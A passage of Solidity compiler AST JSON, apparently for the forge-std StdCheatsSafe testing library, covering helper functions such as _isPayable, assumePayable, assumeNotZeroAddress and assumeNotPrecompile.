pure"}},"id":4059,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8682:167:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4060,"nodeType":"ExpressionStatement","src":"8682:167:3"},{"assignments":[4062],"declarations":[{"constant":false,"id":4062,"mutability":"mutable","name":"origBalanceTest","nameLocation":"8867:15:3","nodeType":"VariableDeclaration","scope":4118,"src":"8859:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4061,"name":"uint256","nodeType":"ElementaryTypeName","src":"8859:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4068,"initialValue":{"expression":{"arguments":[{"id":4065,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"8893:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":4064,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8885:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4063,"name":"address","nodeType":"ElementaryTypeName","src":"8885:7:3","typeDescriptions":{}}},"id":4066,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8885:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4067,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8899:7:3","memberName":"balance","nodeType":"MemberAccess","src":"8885:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8859:47:3"},{"assignments":[4070],"declarations":[{"constant":false,"id":4070,"mutability":"mutable","name":"origBalanceAddr","nameLocation":"8924:15:3","nodeType":"VariableDeclaration","scope":4118,"src":"8916:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4069,"name":"uint256","nodeType":"ElementaryTypeName","src":"8916:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4076,"initialValue":{"expression":{"arguments":[{"id":4073,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"8950:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4072,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8942:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4071,"name":"address","nodeType":"ElementaryTypeName","src":"8942:7:3","typeDescriptions":{}}},"id":4074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8942:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8956:7:3","memberName":"balance","nodeType":"MemberAccess","src":"8942:21:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8916:47:3"},{"expression":{"arguments":[{"arguments":[{"id":4082,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"8990:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":4081,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8982:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4080,"name":"address","nodeType":"ElementaryTypeName","src":"8982:7:3","typeDescriptions":{}}},"id":4083,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8982:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"31","id":4084,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8997:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":4077,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"8974:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4079,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8977:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"8974:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":4085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8974:25:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4086,"nodeType":"ExpressionStatement","src":"8974:25:3"},{"assignments":[4088,null],"declarations":[{"constant":false,"id":4088,"mutability":"mutable","name":"success","nameLocation":"9015:7:3","nodeType":"VariableDeclaration","scope":4118,"src":"9010:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":4087,"name":"bool","nodeType":"ElementaryTypeName","src":"9010:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":4098,"initialValue":{"arguments":[{"hexValue":"","id":4096,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9056:2:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":4091,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"9035:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4090,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9027:8:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":4089,"name":"address","nodeType":"ElementaryTypeName","src":"9027:8:3","stateMutability":"payable","typeDescriptions":{}}},"id":4092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9027:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":4093,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9041:4:3","memberName":"call","nodeType":"MemberAccess","src":"9027:18:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":4095,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"31","id":4094,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9053:1:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"src":"9027:28:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":4097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9027:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"9009:50:3"},{"expression":{"arguments":[{"arguments":[{"id":4104,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"9112:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":4103,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9104:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4102,"name":"address","nodeType":"ElementaryTypeName","src":"9104:7:3","typeDescriptions":{}}},"id":4105,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9104:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4106,"name":"origBalanceTest","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4062,"src":"9119:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4099,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9096:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4101,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9099:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"9096:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":4107,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9096:39:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4108,"nodeType":"ExpressionStatement","src":"9096:39:3"},{"expression":{"arguments":[{"id":4112,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"9153:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4113,"name":"origBalanceAddr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4070,"src":"9159:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4109,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9145:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4111,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9148:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"9145:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":4114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9145:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4115,"nodeType":"ExpressionStatement","src":"9145:30:3"},{"expression":{"id":4116,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4088,"src":"9193:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":4052,"id":4117,"nodeType":"Return","src":"9186:14:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_isPayable","nameLocation":"8624:10:3","parameters":{"id":4049,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4048,"mutability":"mutable","name":"addr","nameLocation":"8643:4:3","nodeType":"VariableDeclaration","scope":4119,"src":"8635:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4047,"name":"address","nodeType":"ElementaryTypeName","src":"8635:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8634:14:3"},"returnParameters":{"id":4052,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4051,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4119,"src":"8666:4:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":4050,"name":"bool","nodeType":"ElementaryTypeName","src":"8666:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8665:6:3"},"scope":5537,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":4133,"nodeType":"FunctionDefinition","src":"9458:98:3","nodes":[],"body":{"id":4132,"nodeType":"Block","src":"9512:44:3","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":4128,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4121,"src":"9543:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4127,"name":"_isPayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4119,"src":"9532:10:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_bool_$","typeString":"function (address) returns (bool)"}},"id":4129,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9532:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4124,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9522:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4126,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9525:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"9522:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4130,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9522:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4131,"nodeType":"ExpressionStatement","src":"9522:27:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumePayable","nameLocation":"9467:13:3","parameters":{"id":4122,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4121,"mutability":"mutable","name":"addr","nameLocation":"9489:4:3","nodeType":"VariableDeclaration","scope":4133,"src":"9481:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4120,"name":"address","nodeType":"ElementaryTypeName","src":"9481:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9480:14:3"},"returnParameters":{"id":4123,"nodeType":"ParameterList","parameters":[],"src":"9512:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4148,"nodeType":"FunctionDefinition","src":"9562:102:3","nodes":[],"body":{"id":4147,"nodeType":"Block","src":"9619:45:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":4144,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"9639:17:3","subExpression":{"arguments":[{"id":4142,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4135,"src":"9651:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4141,"name":"_isPayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4119,"src":"9640:10:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_bool_$","typeString":"function (address) returns (bool)"}},"id":4143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9640:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4138,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9629:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4140,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9632:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"9629:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9629:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4146,"nodeType":"ExpressionStatement","src":"9629:28:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotPayable","nameLocation":"9571:16:3","parameters":{"id":4136,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4135,"mutability":"mutable","name":"addr","nameLocation":"9596:4:3","nodeType":"VariableDeclaration","scope":4148,"src":"9588:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4134,"name":"address","nodeType":"ElementaryTypeName","src":"9588:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9587:14:3"},"returnParameters":{"id":4137,"nodeType":"ParameterList","parameters":[],"src":"9619:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4165,"nodeType":"FunctionDefinition","src":"9670:112:3","nodes":[],"body":{"id":4164,"nodeType":"Block","src":"9736:46:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4161,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4156,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4150,"src":"9756:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":4159,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9772:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":4158,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9764:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4157,"name":"address","nodeType":"ElementaryTypeName","src":"9764:7:3","typeDescriptions":{}}},"id":4160,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9764:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"9756:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4153,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"9746:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4155,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9749:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"9746:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4162,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9746:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4163,"nodeType":"ExpressionStatement","src":"9746:29:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotZeroAddress","nameLocation":"9679:20:3","parameters":{"id":4151,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4150,"mutability":"mutable","name":"addr","nameLocation":"9708:4:3","nodeType":"VariableDeclaration","scope":4165,"src":"9700:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4149,"name":"address","nodeType":"ElementaryTypeName","src":"9700:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9699:14:3"},"returnParameters":{"id":4152,"nodeType":"ParameterList","parameters":[],"src":"9736:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4177,"nodeType":"FunctionDefinition","src":"9788:123:3","nodes":[],"body":{"id":4176,"nodeType":"Block","src":"9853:58:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":4171,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4167,"src":"9883:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[],"expression":{"argumentTypes":[],"id":4172,"name":"_pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5536,"src":"9889:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":4173,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9889:14:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":4170,"name":"assumeNotPrecompile","nodeType":"Identifier","overloadedDeclarations":[4177,4320],"referencedDeclaration":4320,"src":"9863:19:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) pure"}},"id":4174,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9863:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4175,"nodeType":"ExpressionStatement","src":"9863:41:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotPrecompile","nameLocation":"9797:19:3","parameters":{"id":4168,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4167,"mutability":"mutable","name":"addr","nameLocation":"9825:4:3","nodeType":"VariableDeclaration","scope":4177,"src":"9817:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4166,"name":"address","nodeType":"ElementaryTypeName","src":"9817:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9816:14:3"},"returnParameters":{"id":4169,"nodeType":"ParameterList","parameters":[],"src":"9853:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4320,"nodeType":"FunctionDefinition","src":"9917:1788:3","nodes":[],"body":{"id":4319,"nodeType":"Block","src":"9999:1706:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4187,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10297:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307831","id":4190,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10312:3:3","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"0x1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":4189,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10304:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4188,"name":"address","nodeType":"ElementaryTypeName","src":"10304:7:3","typeDescriptions":{}}},"id":4191,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10304:12:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10297:19:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4198,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4193,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10320:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307839","id":4196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10335:3:3","typeDescriptions":{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"},"value":"0x9"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"}],"id":4195,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10327:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4194,"name":"address","nodeType":"ElementaryTypeName","src":"10327:7:3","typeDescriptions":{}}},"id":4197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10327:12:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10320:19:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10297:42:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4184,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"10287:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 